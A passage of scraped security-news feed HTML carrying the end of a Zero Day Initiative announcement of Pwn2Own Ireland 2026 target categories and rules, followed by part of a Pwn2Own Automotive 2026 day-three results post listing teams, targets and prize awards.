<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Rage Against the Printers </b></p>




  <p class="">Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="messaging"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Messaging Category</b></p>




  <p class="">We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="infrastructure"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Infrastructure Category</b></p>




  <p class="">We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="agents"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Master of Pwn</strong></p><p class="">No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick <a href="https://pbs.twimg.com/media/Eyexso3WUAYbXPK?format=jpg&amp;name=4096x4096">trophy</a>, a different sort of <a href="https://twitter.com/thezdi/status/1240400682034909187">wearable</a>, and brings with it an additional 65,000 ZDI reward points (instant <a href="https://www.zerodayinitiative.com/about/benefits/">Platinum</a> status in 2027).</p><p class="">For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.</p><p class=""><strong>The Complete Details</strong></p><p class="">The full set of rules for Pwn2Own Ireland 2026 can be found <a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank">here</a>. They may be changed at any time without notice. We <strong>highly encourage</strong> potential entrants to read the rules <em>thoroughly</em> and <em>completely</em> should they choose to participate. We also encourage contestants to read <a href="https://www.zerodayinitiative.com/blog/2022/5/3/what-to-expect-when-exploiting-a-guide-to-pwn2own-participation" target="_blank">this blog</a> covering what to expect when participating in Pwn2Own.</p><p class="">Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Tokyo%202023%20Registration">pwn2own@trendmicro.com</a> to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.</p><p class=""><strong>The Results</strong></p><p class="">We’ll be <a href="https://www.zerodayinitiative.com/blog" target="_blank">blogging</a> and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at <a href="https://twitter.com/thezdi" target="_blank">@thezdi</a> and <a href="https://twitter.com/trendaisecurity" target="_blank">@trendaisecurity</a>, and keep an eye on the <a href="https://twitter.com/search?q=%23p2oireland">#P2OIreland</a> hashtag for continuing coverage. </p><p class="">We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.</p><p class=""> </p><p class="">©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Automotive 2026 - Day Three Results and the Master of Pwn]]></title>
<description><![CDATA[The last day of Pwn2Own Automotive 2026 saw the world’s top security researchers take their final shots at the latest automotive systems. Over three days of intense competition, $1,047,000 USD was awarded for 76 unique 0-day vulnerabilities, with bold exploits, clever techniques, and collisions k...]]></description>
<link>https://tsecurity.de/de/3694476/it-security-nachrichten/pwn2own-automotive-2026-day-three-results-and-the-master-of-pwn/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694476/it-security-nachrichten/pwn2own-automotive-2026-day-three-results-and-the-master-of-pwn/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">The last day of Pwn2Own Automotive 2026 saw the world’s top security researchers take their final shots at the latest automotive systems. Over three days of intense competition, <strong>$1,047,000 USD</strong> was awarded for <strong>76</strong> unique 0-day vulnerabilities, with bold exploits, clever techniques, and collisions keeping the action thrilling throughout.</p><p class="">By the end, Tobias Scharnowski (@ScepticCtf), Felix Buchmann (@diff_fusion), and Kristian Covic (@SeTcbPrivilege) of Fuzzware.io claimed the title of Master of Pwn, earning 28 points and $215,500 USD.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aa344e50-4c55-4b18-a6bb-a2f7e04c2eb5/Leaderboard+Day+3+.png" data-image-dimensions="1700x954" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aa344e50-4c55-4b18-a6bb-a2f7e04c2eb5/Leaderboard+Day+3+.png?format=1000w" width="1700" height="954" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aa344e50-4c55-4b18-a6bb-a2f7e04c2eb5/Leaderboard+Day+3+.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aa344e50-4c55-4b18-a6bb-a2f7e04c2eb5/Leaderboard+Day+3+.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aa344e50-4c55-4b18-a6bb-a2f7e04c2eb5/Leaderboard+Day+3+.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aa344e50-4c55-4b18-a6bb-a2f7e04c2eb5/Leaderboard+Day+3+.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aa344e50-4c55-4b18-a6bb-a2f7e04c2eb5/Leaderboard+Day+3+.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aa344e50-4c55-4b18-a6bb-a2f7e04c2eb5/Leaderboard+Day+3+.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/aa344e50-4c55-4b18-a6bb-a2f7e04c2eb5/Leaderboard+Day+3+.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">Follow the final updates on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, and <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a>, and join the conversation using #Pwn2OwnAutomotive and #P2OAuto.</p>





















  
  



<p><b data-preserve-html-node="true">SUCCESS</b> / <b data-preserve-html-node="true">COLLISON</b> - Tobias Scharnowski (@ScepticCtf), Felix Buchmann (@diff_fusion), and Kristian Covic (@SeTcbPrivilege) of Fuzzware.io targeted the Alpine iLX-F511, demonstrating one vulnerability previously used by another contestant, earning $2,500 USD and 1 Master of Pwn point. #Pwn2Own #P2OAuto </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b79cab09-da95-4945-af8f-791d0421e2ed/Fuzzware.io+-+Alpine+-+collision+.png" data-image-dimensions="800x600" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b79cab09-da95-4945-af8f-791d0421e2ed/Fuzzware.io+-+Alpine+-+collision+.png?format=1000w" width="800" height="600" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b79cab09-da95-4945-af8f-791d0421e2ed/Fuzzware.io+-+Alpine+-+collision+.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b79cab09-da95-4945-af8f-791d0421e2ed/Fuzzware.io+-+Alpine+-+collision+.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b79cab09-da95-4945-af8f-791d0421e2ed/Fuzzware.io+-+Alpine+-+collision+.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b79cab09-da95-4945-af8f-791d0421e2ed/Fuzzware.io+-+Alpine+-+collision+.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b79cab09-da95-4945-af8f-791d0421e2ed/Fuzzware.io+-+Alpine+-+collision+.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b79cab09-da95-4945-af8f-791d0421e2ed/Fuzzware.io+-+Alpine+-+collision+.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b79cab09-da95-4945-af8f-791d0421e2ed/Fuzzware.io+-+Alpine+-+collision+.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> / <b data-preserve-html-node="true">COLLISON</b> - Slow Horses of Qrious Secure (@qriousec) targeted the Grizzl-E Smart 40A but encountered two bug collisions, still earning $5,000 USD and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/30e49aac-52a5-4f4b-869e-3ad0142bc006/Qrious+Secure+-+Grizzl-E+-+Collision+.jpeg" data-image-dimensions="800x600" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/30e49aac-52a5-4f4b-869e-3ad0142bc006/Qrious+Secure+-+Grizzl-E+-+Collision+.jpeg?format=1000w" width="800" height="600" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/30e49aac-52a5-4f4b-869e-3ad0142bc006/Qrious+Secure+-+Grizzl-E+-+Collision+.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/30e49aac-52a5-4f4b-869e-3ad0142bc006/Qrious+Secure+-+Grizzl-E+-+Collision+.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/30e49aac-52a5-4f4b-869e-3ad0142bc006/Qrious+Secure+-+Grizzl-E+-+Collision+.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/30e49aac-52a5-4f4b-869e-3ad0142bc006/Qrious+Secure+-+Grizzl-E+-+Collision+.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/30e49aac-52a5-4f4b-869e-3ad0142bc006/Qrious+Secure+-+Grizzl-E+-+Collision+.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/30e49aac-52a5-4f4b-869e-3ad0142bc006/Qrious+Secure+-+Grizzl-E+-+Collision+.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/30e49aac-52a5-4f4b-869e-3ad0142bc006/Qrious+Secure+-+Grizzl-E+-+Collision+.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> / <b data-preserve-html-node="true">COLLISON</b> - Team MST targeted the Kenwood DNR1007XR, demonstrating one bug but running into a collision, earning $2,500 USD and 1 Master of Pwn point. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/167c33b0-372a-4ebc-884b-19bc161741cf/Team+MST+-+Kenwood+-+Collision+.jpeg" data-image-dimensions="800x600" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/167c33b0-372a-4ebc-884b-19bc161741cf/Team+MST+-+Kenwood+-+Collision+.jpeg?format=1000w" width="800" height="600" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/167c33b0-372a-4ebc-884b-19bc161741cf/Team+MST+-+Kenwood+-+Collision+.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/167c33b0-372a-4ebc-884b-19bc161741cf/Team+MST+-+Kenwood+-+Collision+.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/167c33b0-372a-4ebc-884b-19bc161741cf/Team+MST+-+Kenwood+-+Collision+.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/167c33b0-372a-4ebc-884b-19bc161741cf/Team+MST+-+Kenwood+-+Collision+.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/167c33b0-372a-4ebc-884b-19bc161741cf/Team+MST+-+Kenwood+-+Collision+.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/167c33b0-372a-4ebc-884b-19bc161741cf/Team+MST+-+Kenwood+-+Collision+.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/167c33b0-372a-4ebc-884b-19bc161741cf/Team+MST+-+Kenwood+-+Collision+.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - PetoWorks (@petoworks) targeted the Grizzl-E Smart 40A, exploiting one buffer overflow bug, and earned $10,000 USD and 4 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/1371e471-52a3-4a16-bb03-4953544475ac/PetoWorks+-+Grizzl+E.jpeg" data-image-dimensions="2224x1862" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/1371e471-52a3-4a16-bb03-4953544475ac/PetoWorks+-+Grizzl+E.jpeg?format=1000w" width="2224" height="1862" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/1371e471-52a3-4a16-bb03-4953544475ac/PetoWorks+-+Grizzl+E.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/1371e471-52a3-4a16-bb03-4953544475ac/PetoWorks+-+Grizzl+E.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/1371e471-52a3-4a16-bb03-4953544475ac/PetoWorks+-+Grizzl+E.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/1371e471-52a3-4a16-bb03-4953544475ac/PetoWorks+-+Grizzl+E.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/1371e471-52a3-4a16-bb03-4953544475ac/PetoWorks+-+Grizzl+E.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/1371e471-52a3-4a16-bb03-4953544475ac/PetoWorks+-+Grizzl+E.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/1371e471-52a3-4a16-bb03-4953544475ac/PetoWorks+-+Grizzl+E.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Bongeun Koo (@kiddo_pwn) and Evangelos Daravigkas (@freddo_1337) of Team DDOS targeted the Alpine iLX‑F511, exploiting a stack‑based buffer overflow to earn $5,000 USD and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9f6d426b-8c56-4861-a0a7-5c7c2369de73/Team+DDOS+-+Alpine+iLX%E2%80%91F511.jpeg" data-image-dimensions="600x800" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9f6d426b-8c56-4861-a0a7-5c7c2369de73/Team+DDOS+-+Alpine+iLX%E2%80%91F511.jpeg?format=1000w" width="600" height="800" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9f6d426b-8c56-4861-a0a7-5c7c2369de73/Team+DDOS+-+Alpine+iLX%E2%80%91F511.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9f6d426b-8c56-4861-a0a7-5c7c2369de73/Team+DDOS+-+Alpine+iLX%E2%80%91F511.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9f6d426b-8c56-4861-a0a7-5c7c2369de73/Team+DDOS+-+Alpine+iLX%E2%80%91F511.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9f6d426b-8c56-4861-a0a7-5c7c2369de73/Team+DDOS+-+Alpine+iLX%E2%80%91F511.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9f6d426b-8c56-4861-a0a7-5c7c2369de73/Team+DDOS+-+Alpine+iLX%E2%80%91F511.jpeg?format=1000w 1000w, 